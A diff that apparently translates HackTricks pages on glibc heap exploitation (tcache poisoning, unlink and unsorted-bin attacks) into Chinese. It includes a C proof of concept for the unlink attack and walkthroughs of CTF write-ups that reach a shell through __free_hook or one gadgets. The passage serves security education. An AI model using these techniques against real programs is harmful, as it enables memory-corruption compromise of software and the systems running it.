size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +在这种情况下,可以**修改内存中下一个块的大小**。攻击者可以利用这一点**使一个分配的块具有更大的大小**,然后**`free`**它,使该块被**添加到不同大小的桶中**(更大),然后分配**伪大小**,攻击将能够访问一个**实际大小更大的块**,**因此授予重叠块的情况**,这可以以与**堆溢出**相同的方式利用(查看前一节)。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..79365315d 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -4,44 +4,44 @@ ## Basic Information -For more information about what is a Tcache bin check this page: +有关 Tcache bin 的更多信息,请查看此页面: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +首先,请注意 Tcache 是在 Glibc 版本 2.26 中引入的。 -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +**Tcache attack**(也称为 **Tcache poisoning**)在 [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) 中提出,与快速 bin 攻击非常相似,其目标是在已释放的 chunk 中覆盖指向下一个 chunk 的指针,以指向一个任意地址,以便后续可以**分配该特定地址并可能覆盖指针**。 -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +然而,如今,如果运行上述代码,您将收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入一个对齐的地址(或执行足够多次二进制文件,以便写入的地址实际上是对齐的)。 ### Tcache indexes attack -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +通常可以在堆的开头找到一个 chunk,其中包含 **每个索引的 chunk 数量** 和 **每个 tcache 索引的头 chunk 地址**。如果出于某种原因可以修改此信息,则可以**使某个索引的头 chunk 指向所需地址**(如 `__malloc_hook`),然后分配一个与索引大小相同的 chunk,并在这种情况下覆盖 `__malloc_hook` 的内容。 ## Examples - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc info leak**:可以填充 tcaches,将一个 chunk 添加到未排序列表中,清空 tcache,然后**仅覆盖前 8B 从未排序 bin 中重新分配该 chunk**,使得**第二个地址保持不变,以便我们可以读取它**。 +- **Tcache attack**:该二进制文件易受 1B 堆溢出攻击。这将被滥用以更改已分配 chunk 的 **size header** 使其变大。然后,这个 chunk 将被 **释放**,将其添加到假大小的 tcache 中。接着,我们将分配一个假大小的 chunk,之前的 chunk 将被 **返回,知道这个 chunk 实际上更小**,这为**覆盖内存中的下一个 chunk**提供了机会。\ +我们将利用这一点**覆盖下一个 chunk 的 FD 指针**,使其指向 **`malloc_hook`**,然后可以分配 2 个指针:首先是我们刚刚修改的合法指针,然后第二次分配将返回一个在 **`malloc_hook`** 中的 chunk,可以利用它写入 **one gadget**。 - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc info leak**:存在使用后释放和双重释放。在这篇文章中,作者通过读取放置在小 bin 中的 chunk 的地址泄露了 libc 的地址(就像从未排序 bin 中泄露,但来自小 bin)。 +- **Tcache attack**:通过 **双重释放** 执行 Tcache。相同的 chunk 被释放两次,因此在 Tcache 中,chunk 将指向自身。然后,它被分配,其 FD 指针被修改为指向 **free hook**,然后再次分配,因此列表中的下一个 chunk 将在 free hook 中。然后,这也被分配,可以在这里写入 `system` 的地址,因此当包含 `"/bin/sh"` 的 malloc 被释放时,我们获得一个 shell。 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- 这里的主要漏洞是通过指示其偏移量来 `free` 堆中的任何地址的能力。 +- **Tcache indexes attack**:可以分配和释放一个大小的 chunk,当存储在 tcache chunk 中(包含 tcache bins 信息的 chunk)时,将生成一个 **值为 0x100 的地址**。这是因为 tcache 在不同字节中存储每个 bin 的 chunk 数量,因此一个特定索引中的 chunk 生成值 0x100。 +- 然后,这个值看起来像是一个大小为 0x100 的 chunk。允许通过 `free` 这个地址来滥用它。这将**将该地址添加到 tcache 中大小为 0x100 的 chunk 的索引**。 +- 然后,**分配**一个大小为 **0x100** 的 chunk,之前的地址将作为 chunk 返回,允许覆盖其他 tcache 索引。\ +例如,将 malloc hook 的地址放入其中一个索引中,并分配与该索引大小相同的 chunk 将获得一个在 calloc hook 中的 chunk,这允许写入一个 gadget 以获得 shell。 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- 与之前相同的漏洞,但有一个额外的限制。 +- **Tcache indexes attack**:与之前类似的攻击,但通过 **释放包含 tcache 信息的 chunk** 来减少步骤,因此其地址被添加到其大小的 tcache 索引中,因此可以分配该大小并将 tcache chunk 信息作为 chunk 获取,这允许将 free hook 添加为一个索引的地址,分配它,并在其上写入一个 gadget。 - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Write After Free** 以将数字添加到 `fd` 指针。 +- 在这个挑战中需要大量的 **heap feng-shui**。这篇文章展示了 **控制 Tcache** 空闲列表的头部是多么方便。 +- 通过 `stdout` 的 **Glibc leak**(FSOP)。 +- **Tcache poisoning** 以获得任意写入原语。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..73a80c6bf 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +当这种攻击被发现时,它主要允许 WWW (Write What Where),然而,一些 **检查被添加** 使得攻击的新版本更加有趣、更复杂且 **无用**。 -### Code Example: +### 代码示例:
-Code - +代码 ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- 如果使用了 tcaches(在 2.26 之后),攻击将无法工作 -### Goal +### 目标 -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +此攻击允许**将指向一个块的指针更改为指向其自身之前的 3 个地址**。如果这个新位置(指针所在位置的周围)有有趣的内容,比如其他可控的分配/栈等,就可以读取/覆盖它们,从而造成更大的伤害。 -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户可能可以读取和修改它,因此可以从栈中泄露敏感信息,甚至可能在不触碰 canary 的情况下修改返回地址。 +- 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,将其指向 3 个地址之前并能够读取和写入,就可以使其他指针指向其他地址。\ +由于用户也可以读取/写入其他分配,他可以泄露信息或在任意位置覆盖新地址(如在 GOT 中)。 -### Requirements +### 要求 -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- 在内存中(例如栈)有一些控制,以创建几个块并为某些属性赋值。 +- 栈泄漏以设置假块的指针。 -### Attack +### 攻击 -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- 有几个块(chunk1 和 chunk2) +- 攻击者控制 chunk1 的内容和 chunk2 的头部。 +- 在 chunk1 中,攻击者创建一个假块的结构: +- 为了绕过保护,他确保字段 `size` 是正确的,以避免错误:`corrupted size vs. prev_size while consolidating` +- 并且假块的字段 `fd` 和 `bk` 指向 chunk1 指针在内存中的存储位置,偏移量分别为 -3 和 -2,因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存(栈)中 chunk1 地址所在的位置:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- chunk2 的头部被修改,以指示前一个块未使用,并且大小是包含的假块的大小。 +- 当第二个块被释放时,这个假块被解除链接,发生: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- 之前已经使得 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一个地方(chunk1 存储在栈中的位置,因此这是一个有效的链表)。由于**两者都指向同一个位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会生效。 +- 这将**覆盖栈中指向 chunk1 的指针为存储在栈中 3 个地址之前的地址(或字节)**。 +- 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够**在栈中写入**,有可能覆盖返回地址,跳过 canary 并修改局部变量的值和指向。甚至再次修改存储在栈中的 chunk1 地址到一个不同的位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。 +- 请注意,这之所以可能是因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在哪里**。

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## 参考 - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- 尽管在 CTF 中发现 unlink 攻击会很奇怪,但这里有一些使用此攻击的写作: +- CTF 示例:[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- 在这个例子中,栈中有一个 malloc 的地址数组。执行 unlink 攻击以能够在这里分配一个块,因此能够控制 malloc 地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。 +- 另一个 CTF 示例:[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- 就像在前一个例子中一样,有一个分配地址的数组。可以执行 unlink 攻击,使指向第一个分配的地址指向数组开始之前的几个位置,并在新位置覆盖此分配。因此,可以覆盖其他分配的指针,使其指向 atoi 的 GOT,打印以获取 libc 泄漏,然后用一个 gadget 的地址覆盖 atoi GOT。 +- CTF 示例,具有自定义 malloc 和 free 函数,利用与 unlink 攻击非常相似的漏洞:[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- 有一个溢出,允许控制将被(自定义)释放的 FD 和 BK 指针。此外,堆具有执行位,因此可以泄漏堆地址并将函数从 GOT 指向具有 shellcode 的堆块以执行。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..d575b4c92 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,70 +4,70 @@ ## Basic Information -For more information about what is an unsorted bin check this page: +有关未排序的 bin 的更多信息,请查看此页面: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +未排序列表能够将地址写入 `unsorted_chunks (av)` 的块的 `bk` 地址。因此,如果攻击者能够**修改未排序 bin 中块的 `bk` 指针的地址**,他就能够**将该地址写入任意地址**,这可能有助于泄露 Glibc 地址或绕过某些防御。 -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +所以,基本上,这种攻击允许**在任意地址设置一个大数字**。这个大数字是一个地址,可能是堆地址或 Glibc 地址。一个典型的目标是**`global_max_fast`**,以允许创建更大尺寸的快速 bin(并从未排序 bin 攻击转到快速 bin 攻击)。 > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> 查看在 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) 中提供的示例,并使用 0x4000 和 0x5000 代替 0x400 和 0x500 作为块大小(以避免 Tcache),可以看到**如今**错误**`malloc(): unsorted double linked list corrupted`**被触发。 > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> 因此,这种未排序 bin 攻击现在(除了其他检查)还需要能够修复双向链表,以便绕过 `victim->bk->fd == victim` 或 `victim->fd == av (arena)`,这意味着我们想要写入的地址必须在其 `fd` 位置具有假块的地址,并且假块的 `fd` 指向 arena。 > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> 请注意,这种攻击会破坏未排序 bin(因此小和大也会)。所以我们现在只能**使用来自快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> 请注意,覆盖**`global_max_fast`**可能在这种情况下有所帮助,前提是快速 bin 能够处理所有其他分配,直到利用完成。 -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好,尽管如果你修改 malloc 以分配足够大的内存以避免 Tcache,你会看到之前提到的错误出现,阻止这种技术:**`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将具有**`fd`**和**`bk`**链接**指向主 arena(Glibc)的一部分**。\ +因此,如果你能够**将一个块放入未排序 bin 并读取它**(使用后释放)或**再次分配它而不覆盖至少 1 个指针**,然后**读取**它,你就可以获得**Glibc 信息泄露**。 -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +在这个 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中,利用了一个 4 块结构(A、B、C 和 D - D 仅用于防止与顶部块合并),因此在 B 中使用了一个空字节溢出,使 C 指示 B 未使用。此外,在 B 中修改了 `prev_size` 数据,因此大小不是 B 的大小,而是 A+B。\ +然后 C 被释放,并与 A+B 合并(但 B 仍在使用中)。分配了一个大小为 A 的新块,然后将泄露的 libc 地址写入 B,从而泄露了它们。 ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- 目标是用大于 4869 的值覆盖全局变量,以便能够获取标志,并且未启用 PIE。 +- 可以生成任意大小的块,并且存在所需大小的堆溢出。 +- 攻击开始创建 3 个块:chunk0 用于利用溢出,chunk1 用于被溢出,chunk2 以防止顶部块合并之前的块。 +- 然后,chunk1 被释放,chunk0 被溢出到 chunk1 的 `bk` 指针指向:`bk = magic - 0x10` +- 然后,分配一个与 chunk1 相同大小的 chunk3,这将触发未排序 bin 攻击并修改全局变量的值,从而使获取标志成为可能。 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- 合并函数是脆弱的,因为如果传递的两个索引相同,它将对其进行重新分配,然后释放它,但返回指向该释放区域的指针,可以使用。 +- 因此,**创建了 2 